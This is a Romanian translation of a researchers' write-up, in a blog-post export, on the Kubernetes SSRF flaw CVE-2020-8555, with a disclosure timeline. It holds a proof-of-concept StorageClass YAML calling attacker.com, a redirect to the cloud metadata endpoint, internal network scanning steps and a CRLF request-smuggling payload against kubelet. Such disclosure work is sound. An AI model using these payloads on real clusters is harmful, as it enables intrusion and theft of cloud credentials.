{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/ro\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"C\u00e2nd nu este vorba doar de o vulnerabilitate \u00een Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Nota traduc\u0103torului.<\/b>: autorii acestui articol explic\u0103 \u00een detaliu cum au reu\u0219it s\u0103 descopere vulnerabilitatea <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> \u00een Kubernetes. De\u0219i ini\u021bial p\u0103rea nu foarte periculoas\u0103, \u00een combina\u021bie cu altele, criticitatea sa a fost maxim\u0103 pentru unele furnizoare de cloud. Munca speciali\u0219tilor a fost generos recompensat\u0103 de mai multe organiza\u021bii.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"C\u00e2nd nu este vorba doar de o vulnerabilitate \u00een Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Cine suntem<\/h2>\n<p>\nSuntem doi cercet\u0103tori francezi \u00een domeniul securit\u0103\u021bii, care au descoperit \u00eempreun\u0103 o vulnerabilitate \u00een Kubernetes. Ne numim Brice Augras \u0219i Christophe Hauquiert, dar pe multe platforme de Bug Bounty suntem cunoscu\u021bi ca Reeverzax \u0219i Hach, respectiv:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 arhitect Kubernetes \u00een Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Ce s-a \u00eent\u00e2mplat?<\/h2>\n<p>\nAcest articol este modul nostru de a povesti cum un proiect de cercetare obi\u0219nuit s-a transformat nea\u0219teptat \u00eentr-o aventur\u0103 fascinant\u0103 pentru v\u00e2n\u0103torii de bug-uri (cel pu\u021bin p\u00e2n\u0103 \u00een prezent).<\/p>\n<p>Dup\u0103 cum probabil \u0219ti\u021bi, v\u00e2n\u0103torii de bug-uri au c\u00e2teva tr\u0103s\u0103turi remarcabile:<\/p>\n<ul>\n<li> tr\u0103iesc din pizze \u0219i bere;<\/li>\n<li> lucreaz\u0103 atunci c\u00e2nd to\u021bi ceilal\u021bi dorm.<\/li>\n<\/ul>\n<p>\nNu suntem o excep\u021bie de la aceste reguli: de obicei ne \u00eent\u00e2lnim \u00een weekenduri \u0219i petrecem nop\u021bi nedormite de hacking. Dar una dintre aceste nop\u021bi s-a \u00eencheiat \u00eentr-un mod foarte neobi\u0219nuit.<\/p>\n<p>Ini\u021bial, ne-am propus s\u0103 ne \u00eent\u00e2lnim pentru a discuta despre participarea la <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> \u00een ziua urm\u0103toare. \u00cen timpul discu\u021biei despre securitatea Kubernetes \u00een medii de serviciu gestionate, ne-am adus aminte de o idee mai veche, SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) \u0219i am decis s\u0103 o folosim ca scenariu de atac.<\/p>\n<p>La ora 11 seara ne-am a\u0219ezat la cercetare, iar la culcare am mers devreme diminea\u021ba, foarte mul\u021bumi\u021bi de rezultate. Datorit\u0103 acestor cercet\u0103ri, am dat peste programul MSRC Bug Bounty \u0219i am conceput un exploit cu escaladare a privilegiilor.<\/p>\n<p>Au trecut c\u00e2teva s\u0103pt\u0103m\u00e2ni\/luni, iar rezultatul nostru nea\u0219teptat ne-a permis s\u0103 ob\u021binem una dintre cele mai mari recompense din istoria Azure Cloud Bug Bounty - pe l\u00e2ng\u0103 cea primit\u0103 de Kubernetes!<\/p>\n<p>Pe baza proiectului nostru de cercetare, comitetul Kubernetes Product Security Committee a publicat <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Acum dorim s\u0103 r\u0103sp\u00e2ndim informa\u021biile despre vulnerabilitatea g\u0103sit\u0103 c\u00e2t mai mult posibil. Sper\u0103m c\u0103 ve\u021bi aprecia descoperirea \u0219i ve\u021bi \u00eemp\u0103rt\u0103\u0219i detalii tehnice cu al\u021bi membri ai comunit\u0103\u021bii infosec!<\/p>\n<p>A\u0219adar, aceasta este povestea noastr\u0103\u2026<\/p>\n<h2>Context<\/h2>\n<p>\nPentru a \u00een\u021belege pe deplin semnifica\u021bia evenimentelor, s\u0103 examin\u0103m mai \u00eent\u00e2i cum func\u021bioneaz\u0103 Kubernetes \u00eentr-un mediu cloud gestionat.<\/p>\n<p>Atunci c\u00e2nd crea\u021bi un exemplu de cluster Kubernetes \u00een acest tip de mediu, furnizorul de servicii cloud se ocup\u0103 \u00een mod obi\u0219nuit de func\u021bionarea stratului de control:<\/p>\n<p><img decoding=\"async\" alt=\"C\u00e2nd nu este vorba doar de o vulnerabilitate \u00een Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Stratul de control se afl\u0103 la periferia furnizorului de cloud, \u00een timp ce nodurile Kubernetes sunt situate \u00een periferia clientului.<\/i><\/p>\n<p>Pentru alocarea dinamic\u0103 a volumelor, se utilizeaz\u0103 un mecanism de furnizare dinamic\u0103 dintr-o stocare extern\u0103 \u0219i asocierea acesteia cu PVC (cererea pentru volum persistent).<\/p>\n<p>Astfel, dup\u0103 ce PVC a fost creat \u0219i legat la StorageClass \u00een clusterul K8s, managerialul kube\/cloud preia responsabilitatea pentru furnizarea volumului (denumirea exact\u0103 depinde de versiune). <i>(<b>Nota traduc\u0103torului.<\/b>: Am discutat deja despre CCM pe baza implement\u0103rii sale pentru unul dintre furnizorii de cloud. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">aici<\/a><\/noindex>.)<\/i><\/p>\n<p>Exist\u0103 mai multe tipuri de provisionere acceptate de Kubernetes: majoritatea sunt incluse \u00een <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">nucleul orchestratorului,<\/a><\/noindex>, iar altele sunt gestionate de provisionere suplimentare care sunt plasate \u00een poduri \u00een cluster.<\/p>\n<p>\u00cen studiul nostru ne-am concentrat pe mecanismul intern de furnizare a volumelor, ilustrat mai jos:<\/p>\n<p><img decoding=\"async\" alt=\"C\u00e2nd nu este vorba doar de o vulnerabilitate \u00een Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Furnizarea dinamic\u0103 a volumelor utiliz\u00e2nd provisionerul \u00eencorporat al Kubernetes.<\/i><\/p>\n<p>Pe scurt, atunci c\u00e2nd Kubernetes este desf\u0103\u0219urat \u00eentr-un mediu gestionat, lucr\u0103rile managerului controller sunt gestionate de furnizorul de servicii cloud, dar solicitarea pentru crearea unui volum (num\u0103rul 3 \u00een diagrama de mai sus) p\u0103r\u0103se\u0219te limitele re\u021belei interne a furnizorului de cloud. \u0218i aici devine cu adev\u0103rat interesant!<\/p>\n<h2>Scenariul de atac.<\/h2>\n<p>\n\u00cen aceast\u0103 sec\u021biune, v\u0103 vom ar\u0103ta cum am folosit fluxul de lucru men\u021bionat anterior \u0219i am ob\u021binut acces la resursele interne ale furnizorului de servicii cloud. De asemenea, vom demonstra cum se pot efectua anumite ac\u021biuni \u2014 de exemplu, ob\u021binerea acreditivelor interne sau efectuarea unei escal\u0103ri de privilegii.<\/p>\n<p>O simpl\u0103 manipulare (\u00een acest caz, este vorba despre Service Side Request Forgery) a ajutat la dep\u0103\u0219irea limitelor mediu client \u00een clusterele diferitelor furnizori de K8s gestionat.<\/p>\n<p>\u00cen cercet\u0103rile noastre, ne-am concentrat pe provisionerul GlusterFS. De\u0219i secven\u021ba ulterioar\u0103 de ac\u021biuni este descris\u0103 \u00eentr-un astfel de context, aceea\u0219i vulnerabilitate se aplic\u0103 \u0219i pentru Quobyte, StorageOS \u0219i ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"C\u00e2nd nu este vorba doar de o vulnerabilitate \u00een Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Abuzul mecanismului de provisionare dinamic\u0103 a volumelor<\/i><\/p>\n<p>\u00cen timpul analizei clasei de stocare <b>GlusterFS<\/b> \u00een sursele clientului pe Golang am <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">au observat<\/a><\/noindex>, astfel \u00eenc\u00e2t la prima cerere HTTP (3), trimis\u0103 \u00een timpul cre\u0103rii volumului, la sf\u00e2r\u0219itul URL-ului utilizatorului se adaug\u0103 <code>resturl<\/code> se adaug\u0103 <code>\/volumes<\/code>.<\/p>\n<p>Pentru a elimina acest traseu suplimentar, am decis s\u0103 ad\u0103ug\u0103m <code>#<\/code> \u00een parametrul <code>resturl<\/code>. Iat\u0103 prima configura\u021bie YAML pe care am folosit-o pentru a verifica existen\u021ba unei vulnerabilit\u0103\u021bi \u201esemi-orbe\u201d SSRF <i>(mai multe detalii despre semi-blind sau half-blind SSRF pot fi citite, de exemplu, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">aici<\/a><\/noindex> \u2014 nota trad.)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nApoi, pentru gestionarea de la distan\u021b\u0103 a cluster-ului Kubernetes am folosit binarul <b>kubectl<\/b>. \u00cen general, furnizorii de cloud (Azure, Google, AWS etc.) permit ob\u021binerea de acreditive pentru utilizarea \u00een aceast\u0103 unealt\u0103.<\/p>\n<p>Datorit\u0103 acestui fapt, am reu\u0219it s\u0103 aplic\u0103m fi\u0219ierul nostru \u201especial\u201d. Kube-controller-manager a efectuat cererea HTTP rezultat\u0103:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"C\u00e2nd nu este vorba doar de o vulnerabilitate \u00een Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>R\u0103spuns din perspectiva atacatorului<\/i><\/p>\n<p>Cur\u00e2nd dup\u0103 aceasta, am reu\u0219it s\u0103 ob\u021binem \u0219i un r\u0103spuns HTTP de la serverul \u021bint\u0103 \u2014 prin comenzile <code>describe pvc<\/code> sau <code>get events<\/code> \u00een kubectl. \u0218i \u00eentr-adev\u0103r: acest driver Kubernetes, \u00een mod implicit, este mult prea vorb\u0103re\u021b \u00een avertismentele\/mesajele sale de eroare...<\/p>\n<p>Iat\u0103 un exemplu cu referin\u021b\u0103 la <code>https:\/\/www.google.fr<\/code>, setat\u0103 ca parametru <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# sau, pute\u021bi folosi kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"C\u00e2nd nu este vorba doar de o vulnerabilitate \u00een Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\n\u00cen cadrul acestei abord\u0103ri am fost limita\u021bi la cereri de tip <b>HTTP POST<\/b> \u0219i nu am putut ob\u021bine con\u021binutul corpului r\u0103spunsului, dac\u0103 codul returnat a fost <b>201<\/b>. A\u0219adar, am decis s\u0103 efectuam cercet\u0103ri suplimentare \u0219i am extins acest scenariu de atac cu noi abord\u0103ri.<\/p>\n<h2>Evolu\u021bia cercet\u0103rilor noastre<\/h2>\n<p><\/p>\n<ul>\n<li> Scenariul avansat nr. 1: utilizarea redirec\u021bion\u0103rii 302 de pe un server extern pentru a schimba metoda HTTP, pentru a ob\u021bine o modalitate mai flexibil\u0103 de a aduna date interne.<\/li>\n<li> Scenariul avansat nr. 2: automatizarea scan\u0103rii LAN \u0219i descoperirea resurselor interne.<\/li>\n<li> Scenariul avansat nr. 3: utilizarea HTTP CRLF + smuggling (\u201econtraband\u0103\u201d a cererilor) pentru a crea cereri HTTP personalizate \u0219i a ob\u021bine date extrase din jurnalele kube-controller.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Specifica\u021bii tehnice<\/h3>\n<p><\/p>\n<ul>\n<li> \u00cen studii a fost utilizat Azure Kubernetes Service (AKS) cu Kubernetes versiunea 1.12 \u00een regiunea Europa de Nord.<\/li>\n<li> Scenariile descrise mai sus au fost realizate pe cele mai recente versiuni de Kubernetes, cu excep\u021bia celui de-al treilea scenariu, deoarece acesta necesita Kubernetes construit cu Golang versiunea \u2264 1.12.<\/li>\n<li> Server extern al atacatorului \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Scenariul avansat nr. 1: redirec\u021bionarea cererii HTTP POST \u00een GET \u0219i ob\u021binerea datelor confiden\u021biale<\/h3>\n<p>\nMetoda ini\u021bial\u0103 a fost \u00eembun\u0103t\u0103\u021bit\u0103 de configura\u021bia serverului atacatorului pentru a returna <b>Codul de r\u0103spuns HTTP 302<\/b>, pentru a converti cererea POST \u00een cerere GET (pasul 4 din diagram\u0103):<\/p>\n<p><img decoding=\"async\" alt=\"C\u00e2nd nu este vorba doar de o vulnerabilitate \u00een Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPrima cerere (3), trimis\u0103 de client <b>GlusterFS<\/b> (Controller Manager), este de tip POST. Dup\u0103 efectuarea urm\u0103torilor pa\u0219i, am reu\u0219it s\u0103 o transform\u0103m \u00een GET:<\/p>\n<ul>\n<li> Ca parametru <code>resturl<\/code> \u00een StorageClass este specificat <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Endpoint-ul <code>https:\/\/attacker.com\/redirect.php<\/code> r\u0103spunde cu un cod de stare HTTP 302 cu urm\u0103torul Location Header: <code>http:\/\/169.254.169.254<\/code>. Acesta poate fi orice alt resurs\u0103 intern\u0103 \u2014 \u00een acest caz, linkul de redirec\u021bionare este utilizat exclusiv ca exemplu.<\/li>\n<li> Implicit <b>biblioteca net\/http<\/b> Golang redirec\u021bioneaz\u0103 cererea \u0219i converte\u0219te POST \u00een GET cu cod de stare 302, rezult\u00e2nd un cerere HTTP GET c\u0103tre resursa \u021bint\u0103.<\/li>\n<\/ul>\n<p>\nPentru a citi corpul r\u0103spunsului HTTP, trebuie s\u0103 faci <code>describe<\/code> obiectul PVC:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nIat\u0103 un exemplu de r\u0103spuns HTTP \u00een format JSON pe care am reu\u0219it s\u0103-l ob\u021binem:<\/p>\n<p><img decoding=\"async\" alt=\"C\u00e2nd nu este vorba doar de o vulnerabilitate \u00een Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nCapabilit\u0103\u021bile vulnerabilit\u0103\u021bii descoperite la acea vreme erau limitate din cauza urm\u0103toarelor aspecte:<\/p>\n<ul>\n<li> Imposibilitatea de a insera antete HTTP \u00een cererea trimis\u0103.<\/li>\n<li> Imposibilitatea efectu\u0103rii unei cereri POST cu parametrii \u00een corp (este convenabil s\u0103 ceri valoarea cheii de la o instan\u021b\u0103 etcd care func\u021bioneaz\u0103 pe <b>2379<\/b> port, dac\u0103 se folose\u0219te HTTP necriptat).<\/li>\n<li> Imposibilitatea de a ob\u021bine con\u021binutul corpului r\u0103spunsului atunci c\u00e2nd codul de stare era 200 \u0219i r\u0103spunsul nu avea JSON Content-Type.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Scenariul avansat nr. 2: scanarea re\u021belei locale<\/h3>\n<p>\nAceast\u0103 metod\u0103 half-blind SSRF a fost apoi utilizat\u0103 pentru a scana re\u021beaua intern\u0103 a furnizorului de servicii cloud \u0219i a interoga diferite servicii ascult\u0103toare (instan\u021ba Metadata, Kubelet, etcd etc.) pe baza r\u0103spunsurilor <b>kube controller-ului<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"C\u00e2nd nu este vorba doar de o vulnerabilitate \u00een Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nMai \u00eent\u00e2i au fost determinate porturile ascult\u0103toare standard ale componentelor Kubernetes (8443, 10250, 10251 etc.), iar apoi a fost necesar\u0103 automatizarea procesului de scanare.<\/p>\n<p>V\u0103z\u00e2nd c\u0103 aceast\u0103 metod\u0103 de scanare a resurselor este foarte specific\u0103 \u0219i incompatibil\u0103 cu scanerele clasice \u0219i instrumentele SSRF, am decis s\u0103 cre\u0103m proprii worker-i \u00een scripturi bash care automatizeaz\u0103 \u00eentregul proces.<\/p>\n<p>De exemplu, pentru a scana mai rapid intervalul 172.16.0.0\/12 al re\u021belei interne, au fost lansate 15 worker-i \u00een paralel. Intervalul de IP men\u021bionat a fost ales exclusiv ca exemplu \u0219i poate fi schimbat pentru intervalul de IP specific al furnizorului de servicii.<\/p>\n<p>Pentru a scana o adres\u0103 IP \u0219i un port, trebuie s\u0103 face\u021bi urm\u0103toarele:<\/p>\n<ul>\n<li> \u0219terge\u021bi StorageClass-ul verificat anterior;<\/li>\n<li> \u0219terge\u021bi cererea de volum persistent (PVC) verificat\u0103 anterior;<\/li>\n<li> schimba\u021bi valorile IP \u0219i Port \u00een <code>sc.yaml<\/code>;<\/li>\n<li> crea\u021bi un StorageClass cu noul IP \u0219i port;<\/li>\n<li> crea\u021bi un nou PVC;<\/li>\n<li> extrage rezultatele scan\u0103rii utiliz\u00e2nd describe pentru PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Scenariul avansat nr. 3: injec\u021bie CRLF + smuggling HTTP \u00een versiunile \"vechi\" ale clusterului Kubernetes<\/h3>\n<p>\nDac\u0103, \u00een plus, furnizorul oferea clien\u021bilor versiuni vechi ale clusterului K8s <b>\u0219i<\/b> le oferea acces la logurile kube-controller-manager-ului, efectul devenea \u0219i mai semnificativ.<\/p>\n<p>Un atacator \u00eei este mult mai u\u0219or s\u0103 modifice la discre\u021bia sa cererile HTTP destinat s\u0103 ob\u021bin\u0103 un r\u0103spuns HTTP complet.<\/p>\n<p><img decoding=\"async\" alt=\"C\u00e2nd nu este vorba doar de o vulnerabilitate \u00een Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPentru a \u00eendeplini ultimul scenariu, urm\u0103toarele condi\u021bii trebuiau s\u0103 fie \u00eendeplinite:<\/p>\n<ul>\n<li> Utilizatorul trebuie s\u0103 aib\u0103 acces la logurile kube-controller-manager (a\u0219a cum este, de exemplu, \u00een Azure LogInsights).<\/li>\n<li> Clusterul Kubernetes trebuie s\u0103 utilizeze o versiune Golang mai mic\u0103 dec\u00e2t 1.12.<\/li>\n<\/ul>\n<p>\nAm desf\u0103\u0219urat un mediu local care simuleaz\u0103 schimburile de date \u00eentre clientul Go GlusterFS \u0219i un server \u021bint\u0103 fals (deocamdat\u0103 ne vom ab\u021bine de la publicarea PoC).<\/p>\n<p>A fost descoperit\u0103 <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">vulnerabilitatea<\/a><\/noindex>, care afecta versiunile Golang mai mici de 1.12 \u0219i permitea hackerilor s\u0103 efectueze atacuri de tip HTTP smuggling\/CRLF.<\/p>\n<p>Combin\u00e2nd SSRF-ul half-blind descris mai sus <b>\u00eempreun\u0103<\/b> cu acesta, am reu\u0219it s\u0103 trimitem cereri dup\u0103 bunul nostru plac, inclusiv s\u0103 schimb\u0103m anteturile, metoda HTTP, parametrii \u0219i datele pe care kube-controller-manager ulterior le prelucrase.<\/p>\n<p>Iat\u0103 un exemplu de \"momeal\u0103\" func\u021bional\u0103 \u00een parametrul <code>resturl<\/code> StorageClass care implementeaz\u0103 un astfel de scenariu de atac:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\n\u00cen rezultat apare o eroare <b>r\u0103spuns nesolicitat<\/b>, mesajul fiind \u00eenregistrat \u00een jurnalele controller-ului. Datorit\u0103 activ\u0103rii implicite a \u201everbose-ului\u201d, con\u021binutul mesajului HTTP de r\u0103spuns este de asemenea salvat acolo.<\/p>\n<p><img decoding=\"async\" alt=\"C\u00e2nd nu este vorba doar de o vulnerabilitate \u00een Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nA fost cel mai eficient \u201emomeal\u0103\u201d \u00een cadrul conceptului de prob\u0103.<\/p>\n<p>Folosind aceast\u0103 abordare, am reu\u0219it s\u0103 realiz\u0103m unele dintre urm\u0103toarele atacuri \u00een clusterele diferitelor furnizori de k8s gestionat: escaladarea privilegii cu ob\u021binerea acreditivelor pe instan\u021bele de meta date, DoS al masterului prin (cereri HTTP) necriptate pe instan\u021bele master etc.<\/p>\n<h2>Consecin\u021be<\/h2>\n<p>\n\u00cen declara\u021bia oficial\u0103 Kubernetes privind vulnerabilitatea SSRF descoperit\u0103 de noi, aceasta a fost clasificat\u0103 cu un rating <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Dac\u0103 lu\u0103m \u00een considerare doar vulnerabilitatea legat\u0103 de perimetrul Kubernetes, vectorul de integritate <i>(integrity vector)<\/i> este calificat ca <b>None<\/b>.<\/p>\n<p>Cu toate acestea, evaluarea posibilelor consecin\u021be \u00een contextul unui mediu de serviciu gestionat (\u0219i aceasta a fost cea mai interesant\u0103 parte a cercet\u0103rii noastre!) ne-a determinat s\u0103 recalific\u0103m vulnerabilitatea cu un rating <b>Critic CVSS10\/10<\/b> pentru mul\u021bi distribuitori.<\/p>\n<p>Mai jos este informa\u021bia suplimentar\u0103 care va ajuta s\u0103 \u00een\u021belege\u021bi ce ne-am ghidat \u00een evaluarea posibilelor consecin\u021be \u00een medii cloud:<\/p>\n<h3>Integritate<\/h3>\n<p><\/p>\n<ul>\n<li> Execu\u021bie de comenzi de la distan\u021b\u0103 folosind acreditive interne ob\u021binute.<\/li>\n<li> Reproducerea scenariului de mai sus prin metoda IDOR (Insecure Direct Object Reference, adic\u0103 referin\u021be directe nesigure la obiecte) cu alte resurse descoperite \u00een re\u021beaua local\u0103.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Confiden\u021bialitate<\/h3>\n<p><\/p>\n<ul>\n<li> Atac de tip <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Lateral Movement<\/a><\/noindex> datorit\u0103 furtului de acreditive cloud (de exemplu, metadata API).<\/li>\n<li> Colectarea de informa\u021bii prin scanarea re\u021belei locale (determinarea versiunii SSH, versiunea serverului HTTP, \u2026).<\/li>\n<li> Colectarea de informa\u021bii despre instan\u021be \u0219i infrastructur\u0103 prin interogarea API-urilor interne, cum ar fi metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Furt de date ale clien\u021bilor prin acreditive cloud.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Disponibilitate<\/h3>\n<p>\nToate scenariile de aplicare a exploit-urilor legate de vectorii de atac asupra <b>integrity (integritate)<\/b>, pot fi utilizate pentru ac\u021biuni distrug\u0103toare \u0219i pot duce la indisponibilitatea instan\u021belor master din perimetrul clien\u021bilor (sau din alte surse).<\/p>\n<p>Fiind \u00eentr-un mediu gestionat K8s \u0219i evalu\u00e2nd impactul asupra integrit\u0103\u021bii, ne putem imagina numeroase scenarii care ar putea afecta disponibilitatea. Ca exemple suplimentare, putem men\u021biona coruperea bazei de date etcd sau efectuarea unui apel critic la API-ul Kubernetes.<\/p>\n<h2>Chronology<\/h2>\n<p><\/p>\n<ul>\n<li> 6 decembrie 2019: notificare trimit\u0103 cu privire la vulnerabilitatea descoperit\u0103 la MSRC Bug Bounty.<\/li>\n<li> 3 ianuarie 2020: o ter\u021b\u0103 parte a \u00een\u0219tiin\u021bat dezvoltatorii Kubernetes c\u0103 lucr\u0103m la o problem\u0103 de securitate. \u0218i a cerut s\u0103 considere SSRF ca o vulnerabilitate intern\u0103 (in-core). Dup\u0103 aceea, am prezentat un raport general cu detalii tehnice despre sursa problemei.<\/li>\n<li> 15 ianuarie 2020: am furnizat dezvoltatorilor Kubernetes rapoarte tehnice \u0219i generale la cererea lor (prin intermediul platformei HackerOne).<\/li>\n<li> 15 ianuarie 2020: dezvoltatorii Kubernetes ne-au informat c\u0103 half-blind SSRF + injec\u021bia CRLF pentru versiunile anterioare este considerat\u0103 o vulnerabilitate in-core. Imediat am \u00eencetat analiza perimeterelor altor furnizori de servicii: cauza principal\u0103 era acum gestionat\u0103 de echipa K8s.<\/li>\n<li> 15 ianuarie 2020: recompens\u0103 primit\u0103 de la MSRC prin HackerOne.<\/li>\n<li> 16 ianuarie 2020: Kubernetes PSC (Product Security Committee) a recunoscut vulnerabilitatea \u0219i a cerut s\u0103 fie p\u0103strat\u0103 secret\u0103 p\u00e2n\u0103 la mijlocul lunii martie datorit\u0103 num\u0103rului mare de victime poten\u021biale.<\/li>\n<li> 11 februarie 2020: recompens\u0103 primit\u0103 de la Google VRP.<\/li>\n<li> 4 martie 2020: recompens\u0103 primit\u0103 de la Kubernetes prin HackerOne.<\/li>\n<li> 15 martie 2020: dezv\u0103luirea public\u0103 ini\u021bial planificat\u0103 a fost am\u00e2nat\u0103 din cauza situa\u021biei COVID-19.<\/li>\n<li> 1 iunie 2020: declara\u021bie comun\u0103 Kubernetes + Microsoft despre vulnerabilitate.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Beau bere \u0219i m\u0103n\u00e2nc pizza \ud83d\ude42<\/li>\n<li> Am descoperit o vulnerabilitate in-core \u00een Kubernetes, de\u0219i nu inten\u021bionam deloc acest lucru.<\/li>\n<li> Am efectuat o analiz\u0103 suplimentar\u0103 \u00een clusterele diferitelor furnizori de cloud \u0219i am reu\u0219it s\u0103 amplific\u0103m daunele cauzate de vulnerabilitate pentru a ob\u021bine bonusuri \u0219i mai impresionante.<\/li>\n<li> \u00cen acest articol ve\u021bi g\u0103si numeroase detalii tehnice. Vom discuta cu pl\u0103cere despre ele cu voi (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> S-a dovedit c\u0103 toate formalit\u0103\u021bile \u0219i redactarea rapoartelor dureaz\u0103 mult mai mult dec\u00e2t ne a\u0219teptam.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Linkuri<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Grupul Google kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a 